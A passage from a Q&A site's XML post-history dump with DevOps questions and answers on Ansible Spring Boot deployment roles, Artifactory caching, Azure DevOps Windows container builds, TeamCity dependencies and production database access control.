&quot;2.0.1.RELEASE&quot;,&#xD;&#xA;      sb_app_run_args: '&quot;web 8083&quot;',&#xD;&#xA;      sb_app_healthcheck_urls: [&#xD;&#xA;        &quot;http://localhost:8083/actuator/health&quot;&#xD;&#xA;      ],&#xD;&#xA;      &lt;b&gt;sb_hosts: [&#xD;&#xA;        &quot;my-test-vm&quot;&#xD;&#xA;      ]&lt;/b&gt;&#xD;&#xA;    }&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The role is based upon [orachide/ansible-role-springboot](https://github.com/orachide/ansible-role-springboot) which seems very comprehensive. The new bit is in bold which is simply a list of host that should run. &#xD;&#xA;&#xD;&#xA;Normally we would expect to use different artifact ids and versions each time we apply the role. In the example above, it is running an official [springboot microservices mega jar](https://github.com/simbo1905/microservices-demo) that takes different `RUN_AS` args to run as different services. That seems a bit odd and not something I would recommend yet role is agnostic to such details. &#xD;&#xA;&#xD;&#xA;What thing that the original role requires is that you use an executable jar file: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;            &lt;plugin&gt;&#xD;&#xA;                &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;&#xD;&#xA;                &lt;artifactId&gt;spring-boot-maven-plugin&lt;/artifactId&gt;&#xD;&#xA;                &lt;configuration&gt;&#xD;&#xA;                    &lt;executable&gt;true&lt;/executable&gt;&#xD;&#xA;                &lt;/configuration&gt;&#xD;&#xA;            &lt;/plugin&gt;&#xD;&#xA;&#xD;&#xA;It then creates symlinks and environments files and all that good stuff. &#xD;&#xA;&#xD;&#xA;The modifications that I made were quite simple as the original role has logic to install or uninstall based on `sb_app_state`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- import_tasks: install.yml&#xD;&#xA;  when: &gt;&#xD;&#xA;        sb_app_state == 'present'&#xD;&#xA;&#xD;&#xA;- import_tasks: uninstall.yml&#xD;&#xA;  when: &gt;&#xD;&#xA;        sb_app_state == 'absent'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So it was simply a matter of adding some logic to check whether the current hostname is in the `sb_hosts` list then update the value of `sb_app_state` as appropriate. &#xD;&#xA;&#xD;&#xA;The demo codebase uses test kitchen ansible with testinfra to unit test that the playbook works. Getting that working was well worth the effort to do automated acceptance tests of the playbook logic. &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/simbo1905/microservices-demo-ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="20441" PostHistoryTypeId="5" PostId="6414" RevisionGUID="4db79daa-aff2-407e-9fa1-32400d58d740" CreationDate="2019-02-19T17:01:23.230" UserId="10599" Comment="added 406 characters in body" Text="I have [created a demo with a role][1] that can install many springboot microservices on a fleet of VMs where you name a subset of the VMs where you want to place each service. The playbook can then run on all hosts, compute whether each service should be on each host, and will either run the install.yaml or uninstall.yml tasks. &#xD;&#xA;&#xD;&#xA;To install two of the same microservices with different runtime args you play something like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;roles:&#xD;&#xA;    - {&#xD;&#xA;      role: &quot;ansible-role-springboot&quot;,&#xD;&#xA;      sb_app_name: &quot;microservices-registration&quot;,&#xD;&#xA;      sb_app_group_id: &quot;org.springframework.samples.service.service&quot;,&#xD;&#xA;      sb_app_artifact_id: &quot;microservices-demo&quot;,&#xD;&#xA;      sb_app_version: &quot;2.0.0.RELEASE&quot;,&#xD;&#xA;      sb_app_run_args: '&quot;registration 8082&quot;',&#xD;&#xA;      sb_app_healthcheck_urls: [&#xD;&#xA;        &quot;http://localhost:8082/actuator/health&quot;&#xD;&#xA;      ],&#xD;&#xA;      &lt;b&gt;sb_hosts: [&#xD;&#xA;        &quot;my-test-vm&quot;&#xD;&#xA;      ]&lt;/b&gt;&#xD;&#xA;    }&#xD;&#xA;    - {&#xD;&#xA;      role: &quot;ansible-role-springboot&quot;,&#xD;&#xA;      sb_app_name: &quot;microservices-web&quot;,&#xD;&#xA;      sb_app_group_id: &quot;org.springframework.samples.service.service&quot;,&#xD;&#xA;      sb_app_artifact_id: &quot;microservices-demo&quot;,&#xD;&#xA;      sb_app_version: &quot;2.0.1.RELEASE&quot;,&#xD;&#xA;      sb_app_run_args: '&quot;web 8083&quot;',&#xD;&#xA;      sb_app_healthcheck_urls: [&#xD;&#xA;        &quot;http://localhost:8083/actuator/health&quot;&#xD;&#xA;      ],&#xD;&#xA;      &lt;b&gt;sb_hosts: [&#xD;&#xA;        &quot;my-test-vm&quot;&#xD;&#xA;      ]&lt;/b&gt;&#xD;&#xA;    }&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The role is based upon [orachide/ansible-role-springboot](https://github.com/orachide/ansible-role-springboot) which seems very comprehensive. The new bit is in bold which is simply a list of host that should run the microservice. &#xD;&#xA;&#xD;&#xA;Normally we would expect to use different artefact ids and versions each time we apply the role. In the example above, it is running an official [springboot microservices mega jar](https://github.com/simbo1905/microservices-demo) that takes different `RUN_AS` args to run as different services. That seems a bit odd and not something I would recommend yet role is agnostic to such details. &#xD;&#xA;&#xD;&#xA;What thing that the original role requires is that you use an executable jar file: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;            &lt;plugin&gt;&#xD;&#xA;                &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;&#xD;&#xA;                &lt;artifactId&gt;spring-boot-maven-plugin&lt;/artifactId&gt;&#xD;&#xA;                &lt;configuration&gt;&#xD;&#xA;                    &lt;executable&gt;true&lt;/executable&gt;&#xD;&#xA;                &lt;/configuration&gt;&#xD;&#xA;            &lt;/plugin&gt;&#xD;&#xA;&#xD;&#xA;It then creates symlinks and environments files and all that good stuff. &#xD;&#xA;&#xD;&#xA;The modifications that I made were quite simple as the original role has logic to install or uninstall based on `sb_app_state`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- import_tasks: install.yml&#xD;&#xA;  when: &gt;&#xD;&#xA;        sb_app_state == 'present'&#xD;&#xA;&#xD;&#xA;- import_tasks: uninstall.yml&#xD;&#xA;  when: &gt;&#xD;&#xA;        sb_app_state == 'absent'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So it was simply a matter of adding some logic to check whether the current hostname is in the `sb_hosts` list then update the value of `sb_app_state` as appropriate. That is done [on this line](https://github.com/simbo1905/microservices-demo-ansible/blob/b40d1a37020485347d91e25df5322d8826c43e73/roles/ansible-role-springboot/tasks/main.yml#L19). The logic to check the hostname is in the list is done in a small shell script which is a [little clunky](https://stackoverflow.com/questions/54769573/how-to-check-the-current-host-appears-in-a-variable-list-within-ansible). &#xD;&#xA;&#xD;&#xA;The demo codebase uses test kitchen ansible with testinfra to unit test that the playbook works. Getting that working was well worth the effort to do automated acceptance tests of the playbook logic. &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/simbo1905/microservices-demo-ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="20442" PostHistoryTypeId="5" PostId="6296" RevisionGUID="b04f424f-786a-4e9a-8efa-1b10747f7429" CreationDate="2019-02-19T17:32:34.617" UserId="12015" Comment="deleted 1 character in body; edited tags" Text="I have the following repositories structure created in my newly installed artifactory instance. And we are using this artifactory instance to store the maven artifacts. Most of our projects are in java and we use maven as the build tool. As this is a new installation our .m2 repository cache is empty and when we did our initial 'mvn compile' it has downloaded all the dependencies from this repository [1] and placed the dependencies under .m2 cache but not in our artifactory instance.&#xD;&#xA;&#xD;&#xA;According to our understanding, we thought if the dependencies are not available in artifactory server then it downloads from public repository and then it keeps a copy in artifactory server and also in local .m2 cache. Is that how it works? When the dependencies are downloaded from public repository we also wanted to have that available in our artifactory server so that when a maven is installed in a new machine then it should get that dependency from our artifactory server itself. Is that possible?&#xD;&#xA;&#xD;&#xA;[1]  https://repo.maven.apache.org&#xD;&#xA;&#xD;&#xA;    Local&#xD;&#xA;     - wellows&#xD;&#xA;    Remote&#xD;&#xA;     - wellows-remote&#xD;&#xA;    Virtual&#xD;&#xA;     - wellows-virtual" ContentLicense="CC BY-SA 4.0" />
  <row Id="20443" PostHistoryTypeId="6" PostId="6296" RevisionGUID="b04f424f-786a-4e9a-8efa-1b10747f7429" CreationDate="2019-02-19T17:32:34.617" UserId="12015" Comment="deleted 1 character in body; edited tags" Text="&lt;maven&gt;&lt;java&gt;&lt;artifactory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20444" PostHistoryTypeId="2" PostId="6415" RevisionGUID="7111b665-2f10-461e-a15e-bb158e67a13e" CreationDate="2019-02-19T18:05:48.727" UserId="12507" Text="The host agent pool on azure-devops to build windows container, `Hosted Windows Container` is running Windows Server version 1803.&#xD;&#xA;&#xD;&#xA;But I want to deploy on Windows Server 2019, so instead of using Microsoft `:1803` images, I'm building from images tagged `:ltsc2019`.&#xD;&#xA;&#xD;&#xA;How can I build my `:ltsc2019` images on azure-devops?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20445" PostHistoryTypeId="1" PostId="6415" RevisionGUID="7111b665-2f10-461e-a15e-bb158e67a13e" CreationDate="2019-02-19T18:05:48.727" UserId="12507" Text="How to build windows image on azure dev ops hosted agent" ContentLicense="CC BY-SA 4.0" />
  <row Id="20446" PostHistoryTypeId="3" PostId="6415" RevisionGUID="7111b665-2f10-461e-a15e-bb158e67a13e" CreationDate="2019-02-19T18:05:48.727" UserId="12507" Text="&lt;docker&gt;&lt;containers&gt;&lt;windows&gt;&lt;azure-devops&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20447" PostHistoryTypeId="2" PostId="6416" RevisionGUID="7f414985-2120-445a-9c54-d14752c6f5de" CreationDate="2019-02-19T18:29:23.663" UserId="47" Text="Your main problem is that you're flushing the CDN when you're deploying a new set of artefacts, which will effectively ruin anything still in progress (whatever its state). You should add the new artefact versions and leave the older ones in place, at least for as long as your published cache lifespan for the top `index.html` file is. &#xD;&#xA;&#xD;&#xA;This way even if users look at an older (cached) version of the page which references other older version artifacts they'll still be able to download them (users have no clue that a new version is available as the cached version is immediately served as long as it's not expired). And whenever the cache expires users will get the new version of the top page, with the references to the new artefact versions.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20451" PostHistoryTypeId="2" PostId="6418" RevisionGUID="88ce1e74-9393-4032-a00b-930d591c76ce" CreationDate="2019-02-19T21:27:28.640" UserId="6341" Text="You may try TFS [Aggregator (Web Service)][1]. If you or your team have experience with C#, you may try the console project that I`ve developed: [Automation of state changing][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://marketplace.visualstudio.com/items?itemName=tfsaggregatorteam.tfs-aggregator-web-service&#xD;&#xA;  [2]: https://oshamrai.wordpress.com/2019/02/19/automation-of-state-changing-for-azure-devops-work-items-based-on-states-of-child-work-items/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20452" PostHistoryTypeId="2" PostId="6419" RevisionGUID="31c950b4-f961-45dc-b4ce-eb01398a9cb4" CreationDate="2019-02-19T21:48:20.427" UserId="12507" Text="FWIW, I ended up creating a windows server 2019 vm on azure to act as a build agent.&#xD;&#xA;&#xD;&#xA;Could not manage to build 2019 image in any of the hosted agent pools." ContentLicense="CC BY-SA 4.0" />
  <row Id="20453" PostHistoryTypeId="5" PostId="6402" RevisionGUID="0d5d7e7b-6e8c-45ef-a23f-c0ef365b22c1" CreationDate="2019-02-20T02:17:02.547" UserId="12482" Comment="edited body" Text="In the company I work for, devops engineers (currently only 2 members, who are me and another coworker) are the only people who have access to the production database. &#xD;&#xA;&#xD;&#xA;So when any other developers need to execute a MySQL query on the production database. They would send the query to the 2 engineers to let them execute it. &#xD;&#xA;&#xD;&#xA;This creates a lot of interruptions for me the other coworker. When we develop programs during the daytime, we often have to switch context just to execute some queries.&#xD;&#xA;&#xD;&#xA;I don't think this is a good architecture for the company. How do you control the permissions to the production environment in your company?&#xD;&#xA;&#xD;&#xA;Our production database consists of sensitive customer information. If the data were leaked out, our company might be fined for millions of dollars." ContentLicense="CC BY-SA 4.0" />
  <row Id="20454" PostHistoryTypeId="2" PostId="6420" RevisionGUID="43808ba0-02bb-4a5a-93b0-bb93980ef933" CreationDate="2019-02-20T03:03:36.143" UserId="12516" Text="I have a simple build chain configure in TeamCity:&#xD;&#xA;&#xD;&#xA;                             build -&gt;&#xD;&#xA;    create-base-image -&gt;                      -&gt; docker publish&#xD;&#xA;                             test  -&gt;&#xD;&#xA;&#xD;&#xA;I have the &quot;On failed dependency: cancel build&quot; option enabled. So if either `build` or `test` fails, the queued `docker publish` step will be cancelled.&#xD;&#xA;&#xD;&#xA;However if `build` fails, the `test` step continues to run all the way through and visa versa.&#xD;&#xA;&#xD;&#xA;I would like to cancel all sibling tasks if any of them fail. Or if a dependent step is cancelled (`docker publish`) I would like all currently running dependencies of that to be stopped.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Someone asks the same question here:&#xD;&#xA;https://teamcity-support.jetbrains.com/hc/en-us/community/posts/206926235-Cancel-other-snapshot-dependencies-if-one-dependency-fails-&#xD;&#xA;&#xD;&#xA;But I'm not sure if the linked YouTrack issue is actually solving this problem." ContentLicense="CC BY-SA 4.0" />
  <row Id="20455" PostHistoryTypeId="1" PostId="6420" RevisionGUID="43808ba0-02bb-4a5a-93b0-bb93980ef933" CreationDate="2019-02-20T03:03:36.143" UserId="12516" Text="Cancel sibling snapshot dependency on failure" ContentLicense="CC BY-SA 4.0" />
  <row Id="20456" PostHistoryTypeId="3" PostId="6420" RevisionGUID="43808ba0-02bb-4a5a-93b0-bb93980ef933" CreationDate="2019-02-20T03:03:36.143" UserId="12516" Text="&lt;build-pipeline&gt;&lt;teamcity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20457" PostHistoryTypeId="2" PostId="6421" RevisionGUID="4936955c-cff0-447c-a119-c865a21d5ab0" CreationDate="2019-02-20T03:43:41.437" UserId="12517" Text="Using Ansible with the **aci_rest** module, requires the authentication parameters (*hostname, username, password, method, validate_certs*) to be defined in every task e.g.&#xD;&#xA;&#xD;&#xA;    aci_rest:&#xD;&#xA;      hostname: &quot;{{ inventory_hostname }}&quot;&#xD;&#xA;      username: &quot;{{ apic_username }}&quot;&#xD;&#xA;      password: &quot;{{ apic_password }}&quot;&#xD;&#xA;      method: post&#xD;&#xA;      validate_certs: no&#xD;&#xA;      path: /api/node/mo/uni/controller/nodeidentpol.json&#xD;&#xA;      method: post&#xD;&#xA;      ...etc&#xD;&#xA;&#xD;&#xA;The YML Anchors, Aliases syntax works perfectly fine within one file. &#xD;&#xA;&#xD;&#xA;    - aci_rest:&#xD;&#xA;        &lt;&lt;: *aci_login&#xD;&#xA;        path: /api/node/mo/uni/controller/nodeidentpol.json&#xD;&#xA;        method: post&#xD;&#xA;        ...etc&#xD;&#xA;&#xD;&#xA;However not when variables and tasks are in different files using any of these functions:&#xD;&#xA;&#xD;&#xA;    vars_files:&#xD;&#xA;    include_tasks:&#xD;&#xA;    include_vars:&#xD;&#xA;&#xD;&#xA;The full playbook has 70+ tasks with the authentication info repeated every time. I have not been able to find a way to not use repeat code. Is there a way to do this similar to yml alias?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20458" PostHistoryTypeId="1" PostId="6421" RevisionGUID="4936955c-cff0-447c-a119-c865a21d5ab0" CreationDate="2019-02-20T03:43:41.437" UserId="12517" Text="Looking for Ansible equivalent method to yml Anchors, Aliases, when using include file" ContentLicense="CC BY-SA 4.0" />
  <row Id="20459" PostHistoryTypeId="3" PostId="6421" RevisionGUID="4936955c-cff0-447c-a119-c865a21d5ab0" CreationDate="2019-02-20T03:43:41.437" UserId="12517" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20460" PostHistoryTypeId="2" PostId="6422" RevisionGUID="59650a8c-e965-47cb-850b-0846a44d5cc9" CreationDate="2019-02-20T06:30:48.540" UserId="3509" Text="There are [module_defaults][1] playbook-level option:&#xD;&#xA;&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      module_defaults:&#xD;&#xA;        file:&#xD;&#xA;          owner: root&#xD;&#xA;          group: root&#xD;&#xA;          mode: 0755&#xD;&#xA;      tasks:&#xD;&#xA;        - file:&#xD;&#xA;            state: touch&#xD;&#xA;            path: /tmp/file1&#xD;&#xA;        - file:&#xD;&#xA;            state: touch&#xD;&#xA;            path: /tmp/file2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_module_defaults.html&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20461" PostHistoryTypeId="5" PostId="6414" RevisionGUID="7353db3c-252b-4d58-926f-04bf87e6eda4" CreationDate="2019-02-20T06:36:32.440" UserId="10599" Comment="someone helped me improve my code on stack overflow so i have updated the link to the latest code. " Text="I have [created a demo with a role][1] that can install many springboot microservices on a fleet of VMs where you name a subset of the VMs where you want to place each service. The playbook can then run on all hosts, compute whether each service should be on each host, and will either run the install.yaml or uninstall.yml tasks. &#xD;&#xA;&#xD;&#xA;To install two of the same microservices with different runtime args you play something like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;roles:&#xD;&#xA;    - {&#xD;&#xA;      role: &quot;ansible-role-springboot&quot;,&#xD;&#xA;      sb_app_name: &quot;microservices-registration&quot;,&#xD;&#xA;      sb_app_group_id: &quot;org.springframework.samples.service.service&quot;,&#xD;&#xA;      sb_app_artifact_id: &quot;microservices-demo&quot;,&#xD;&#xA;      sb_app_version: &quot;2.0.0.RELEASE&quot;,&#xD;&#xA;      sb_app_run_args: '&quot;registration 8082&quot;',&#xD;&#xA;      sb_app_healthcheck_urls: [&#xD;&#xA;        &quot;http://localhost:8082/actuator/health&quot;&#xD;&#xA;      ],&#xD;&#xA;      &lt;b&gt;sb_hosts: [&#xD;&#xA;        &quot;my-test-vm&quot;&#xD;&#xA;      ]&lt;/b&gt;&#xD;&#xA;    }&#xD;&#xA;    - {&#xD;&#xA;      role: &quot;ansible-role-springboot&quot;,&#xD;&#xA;      sb_app_name: &quot;microservices-web&quot;,&#xD;&#xA;      sb_app_group_id: &quot;org.springframework.samples.service.service&quot;,&#xD;&#xA;      sb_app_artifact_id: &quot;microservices-demo&quot;,&#xD;&#xA;      sb_app_version: &quot;2.0.1.RELEASE&quot;,&#xD;&#xA;      sb_app_run_args: '&quot;web 8083&quot;',&#xD;&#xA;      sb_app_healthcheck_urls: [&#xD;&#xA;        &quot;http://localhost:8083/actuator/health&quot;&#xD;&#xA;      ],&#xD;&#xA;      &lt;b&gt;sb_hosts: [&#xD;&#xA;        &quot;my-test-vm&quot;&#xD;&#xA;      ]&lt;/b&gt;&#xD;&#xA;    }&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The role is based upon [orachide/ansible-role-springboot](https://github.com/orachide/ansible-role-springboot) which seems very comprehensive. The new bit is in bold which is simply a list of host that should run the microservice. &#xD;&#xA;&#xD;&#xA;Normally we would expect to use different artefact ids and versions each time we apply the role. In the example above, it is running an official [springboot microservices mega jar](https://github.com/simbo1905/microservices-demo) that takes different `RUN_AS` args to run as different services. That seems a bit odd and not something I would recommend yet the role is agnostic to such details. &#xD;&#xA;&#xD;&#xA;What thing that the original role requires is that you use an executable jar file: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;            &lt;plugin&gt;&#xD;&#xA;                &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;&#xD;&#xA;                &lt;artifactId&gt;spring-boot-maven-plugin&lt;/artifactId&gt;&#xD;&#xA;                &lt;configuration&gt;&#xD;&#xA;                    &lt;executable&gt;true&lt;/executable&gt;&#xD;&#xA;                &lt;/configuration&gt;&#xD;&#xA;            &lt;/plugin&gt;&#xD;&#xA;&#xD;&#xA;It then creates symlinks and environments files and all that good stuff. &#xD;&#xA;&#xD;&#xA;The modifications that I made were quite simple as the original role has logic to install or uninstall based on `sb_app_state`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- import_tasks: install.yml&#xD;&#xA;  when: &gt;&#xD;&#xA;        sb_app_state == 'present'&#xD;&#xA;&#xD;&#xA;- import_tasks: uninstall.yml&#xD;&#xA;  when: &gt;&#xD;&#xA;        sb_app_state == 'absent'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So it was simply a matter of adding some logic to check whether the current hostname is in the `sb_hosts` list then update the value of `sb_app_state` as appropriate. That is done [with a single line change](https://github.com/simbo1905/microservices-demo-ansible/blob/cfca2542694633356bab9abb8f01bf818fcc8e99/roles/ansible-role-springboot/tasks/main.yml#L9). &#xD;&#xA;&#xD;&#xA;The demo codebase uses test kitchen ansible with testinfra to unit test that the playbook works. Getting that working was well worth the effort to do automated acceptance tests of the playbook logic. &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/simbo1905/microservices-demo-ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="20462" PostHistoryTypeId="5" PostId="6414" RevisionGUID="533824af-443d-4c26-869d-dc13c3ca4880" CreationDate="2019-02-20T06:42:07.087" UserId="10599" Comment="clarity" Text="I have [created a demo with a role][1] that can install many springboot microservices on a fleet of VMs where you name a subset of the VMs where you want to place each service. The playbook can then run on all hosts, compute whether each service should be on each host, and will either run the install.yaml or uninstall.yml tasks. &#xD;&#xA;&#xD;&#xA;To install two of the same microservices with different runtime args you play something like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;roles:&#xD;&#xA;    - {&#xD;&#xA;      role: &quot;ansible-role-springboot&quot;,&#xD;&#xA;      sb_app_name: &quot;microservices-registration&quot;,&#xD;&#xA;      sb_app_group_id: &quot;org.springframework.samples.service.service&quot;,&#xD;&#xA;      sb_app_artifact_id: &quot;microservices-demo&quot;,&#xD;&#xA;      sb_app_version: &quot;2.0.0.RELEASE&quot;,&#xD;&#xA;      sb_app_run_args: '&quot;registration 8082&quot;',&#xD;&#xA;      sb_app_healthcheck_urls: [&#xD;&#xA;        &quot;http://localhost:8082/actuator/health&quot;&#xD;&#xA;      ],&#xD;&#xA;      &lt;b&gt;sb_hosts: [&#xD;&#xA;        &quot;my-test-vm&quot;&#xD;&#xA;      ]&lt;/b&gt;&#xD;&#xA;    }&#xD;&#xA;    - {&#xD;&#xA;      role: &quot;ansible-role-springboot&quot;,&#xD;&#xA;      sb_app_name: &quot;microservices-web&quot;,&#xD;&#xA;      sb_app_group_id: &quot;org.springframework.samples.service.service&quot;,&#xD;&#xA;      sb_app_artifact_id: &quot;microservices-demo&quot;,&#xD;&#xA;      sb_app_version: &quot;2.0.1.RELEASE&quot;,&#xD;&#xA;      sb_app_run_args: '&quot;web 8083&quot;',&#xD;&#xA;      sb_app_healthcheck_urls: [&#xD;&#xA;        &quot;http://localhost:8083/actuator/health&quot;&#xD;&#xA;      ],&#xD;&#xA;      &lt;b&gt;sb_hosts: [&#xD;&#xA;        &quot;my-test-vm&quot;&#xD;&#xA;      ]&lt;/b&gt;&#xD;&#xA;    }&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The role is based upon [orachide/ansible-role-springboot](https://github.com/orachide/ansible-role-springboot) which seems very comprehensive. The new bit is in bold which is simply a list of host that should run the microservice. &#xD;&#xA;&#xD;&#xA;Normally we would expect to use different artefact ids and versions each time we apply the role. In the example above, it is running an official [springboot microservices mega jar](https://github.com/simbo1905/microservices-demo) that takes different `RUN_AS` args to run as different services. That seems a bit odd and not something I would recommend yet the role is agnostic to such details. &#xD;&#xA;&#xD;&#xA;What thing that the original role requires is that you use an executable jar file: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;            &lt;plugin&gt;&#xD;&#xA;                &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;&#xD;&#xA;                &lt;artifactId&gt;spring-boot-maven-plugin&lt;/artifactId&gt;&#xD;&#xA;                &lt;configuration&gt;&#xD;&#xA;                    &lt;executable&gt;true&lt;/executable&gt;&#xD;&#xA;                &lt;/configuration&gt;&#xD;&#xA;            &lt;/plugin&gt;&#xD;&#xA;&#xD;&#xA;It role will create a symlink to that executable and create an environment files to run it and all that good stuff. &#xD;&#xA;&#xD;&#xA;The modifications that I made were quite simple as the original role has logic to install or uninstall based on `sb_app_state`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- import_tasks: install.yml&#xD;&#xA;  when: &gt;&#xD;&#xA;        sb_app_state == 'present'&#xD;&#xA;&#xD;&#xA;- import_tasks: uninstall.yml&#xD;&#xA;  when: &gt;&#xD;&#xA;        sb_app_state == 'absent'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So it was simply a matter of adding some logic to check whether the current hostname is in the `sb_hosts` list then update the value of `sb_app_state` as appropriate. That is done [with a single line change](https://github.com/simbo1905/microservices-demo-ansible/blob/cfca2542694633356bab9abb8f01bf818fcc8e99/roles/ansible-role-springboot/tasks/main.yml#L9). &#xD;&#xA;&#xD;&#xA;The demo codebase uses test kitchen ansible with testinfra to unit test that the playbook works. Getting that working was well worth the effort to do automated acceptance tests of the playbook logic. &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/simbo1905/microservices-demo-ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="20463" PostHistoryTypeId="5" PostId="6422" RevisionGUID="878a2166-d0e7-478c-ba55-b0f6dafc1c10" CreationDate="2019-02-20T07:18:22.773" UserId="3509" Comment="typo" Text="There is [module_defaults][1] playbook-level option:&#xD;&#xA;&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      module_defaults:&#xD;&#xA;        file:&#xD;&#xA;          owner: root&#xD;&#xA;          group: root&#xD;&#xA;          mode: 0755&#xD;&#xA;      tasks:&#xD;&#xA;        - file:&#xD;&#xA;            state: touch&#xD;&#xA;            path: /tmp/file1&#xD;&#xA;        - file:&#xD;&#xA;            state: touch&#xD;&#xA;            path: /tmp/file2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_module_defaults.html&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20464" PostHistoryTypeId="2" PostId="6423" RevisionGUID="587f3ea8-3a84-450b-bcfe-717fc86bcb50" CreationDate="2019-02-20T08:08:24.997" UserId="775" Text="A simple way would be to do: &#xD;&#xA;&#xD;&#xA;    ansible -i &lt;inventory&gt; &lt;target group, lets' say some CentOS systems&gt; -m shell -a &quot;rpm -qa | grep &lt;package name&gt;&quot;&#xD;&#xA;&#xD;&#xA;That would display a list consisting of server name and package version." ContentLicense="CC BY-SA 4.0" />
  <row Id="20465" PostHistoryTypeId="2" PostId="6424" RevisionGUID="d7a58855-fa95-48a0-9f64-d5503b5f8f52" CreationDate="2019-02-20T11:43:26.070" UserId="12524" Text="&gt; ... me and another coworker ... are the only people who have access to the production database.&#xD;&#xA;&#xD;&#xA;That's a good starting position.  &#xD;&#xA;All too often, DBA's find themselves trying to close the stable door after the horse has run off. &#xD;&#xA;&#xD;&#xA;&gt; So when any other developers need to execute a MySQL query on the production database ... &#xD;&#xA;&#xD;&#xA;Question:  &#xD;&#xA;Why are Developers running *anything* against the Production database? &#xD;&#xA;&#xD;&#xA;&gt; How do you control the permissions to the production environment in your company?&#xD;&#xA;&#xD;&#xA;Role-Based access control. &#xD;&#xA;&#xD;&#xA;Users are given access to each database as and when their job role requires it and Roles are used to give them access to the tables within each database.  The process by which these accounts are created and roles granted is centrally-managed and strictly audited. &#xD;&#xA;&#xD;&#xA;Developers should **never** have &quot;hands-on&quot;, update access outside of their Development databases.  *Everything* else should be scripted, tested, audited and released through pre-prepared, controlled (and, preferably, automated) channels." ContentLicense="CC BY-SA 4.0" />
  <row Id="20466" PostHistoryTypeId="5" PostId="6402" RevisionGUID="7376cd07-800b-44f3-83c6-1b7e32f884c5" CreationDate="2019-02-20T12:18:11.733" UserId="12482" Comment="added 664 characters in body" Text="In the company I work for, devops engineers (currently only 2 members, who are me and another coworker) are the only people who have access to the production database. &#xD;&#xA;&#xD;&#xA;So when any other developers need to execute a MySQL query on the production database. They would send the query to the 2 engineers to let them execute it. &#xD;&#xA;&#xD;&#xA;Here are the situations when we need to execute commands to the production database:&#xD;&#xA;&#xD;&#xA;1. The database contains corrupted data, which produce bugs. They execute commands to fix the bugs.&#xD;&#xA;&#xD;&#xA;2. A bug is reported. And they want to see the current values inside the database.&#xD;&#xA;&#xD;&#xA;3. One of our customers wants to modify his/her data. But our web application doesn't have the ability to do the modification. So we have to send MySQL commands directly to the database to complete the customer's requirement.&#xD;&#xA;&#xD;&#xA;4. The QA team created test accounts on the production environment. And they want to change the account's status so that they can do other tests.&#xD;&#xA;&#xD;&#xA;This creates a lot of interruptions for me the other coworker. When we develop programs during the daytime, we often have to switch context just to execute some queries.&#xD;&#xA;&#xD;&#xA;I don't think this is a good architecture for the company. How do you control the permissions to the production environment in your company?&#xD;&#xA;&#xD;&#xA;Our production database consists of sensitive customer information. If the data were leaked out, our company might be fined for millions of dollars." ContentLicense="CC BY-SA 4.0" />
  <row Id="20467" PostHistoryTypeId="2" PostId="6425" RevisionGUID="6fcf351a-5d4c-47c2-b232-9ca492ecb110" CreationDate="2019-02-20T13:28:51.107" UserId="13" Text="I see a first problem, DevOps is about building teams able to handle an application from build to exploitation.  &#xD;&#xA;So your devs should have access to the databases, you quoted various cases which are the reality for a lot of people and the major drawback which is turning you and your colleague in a bottleneck as well as impeding your own work.&#xD;&#xA;&#xD;&#xA;Other answers address well the schema change or planned changed which should indeed be integrated as part as the application delivery process, but they don't allow to quickly fix the live access need, when a dev may need to dump the DB to understand what caused the bug and how to fix it for exemple.&#xD;&#xA;&#xD;&#xA;Things like ProxySQL you already quoted in a comment could be ok for MySQL databases, just configuring MySQL to log things could be a good approach also, MySQL offers a commercial 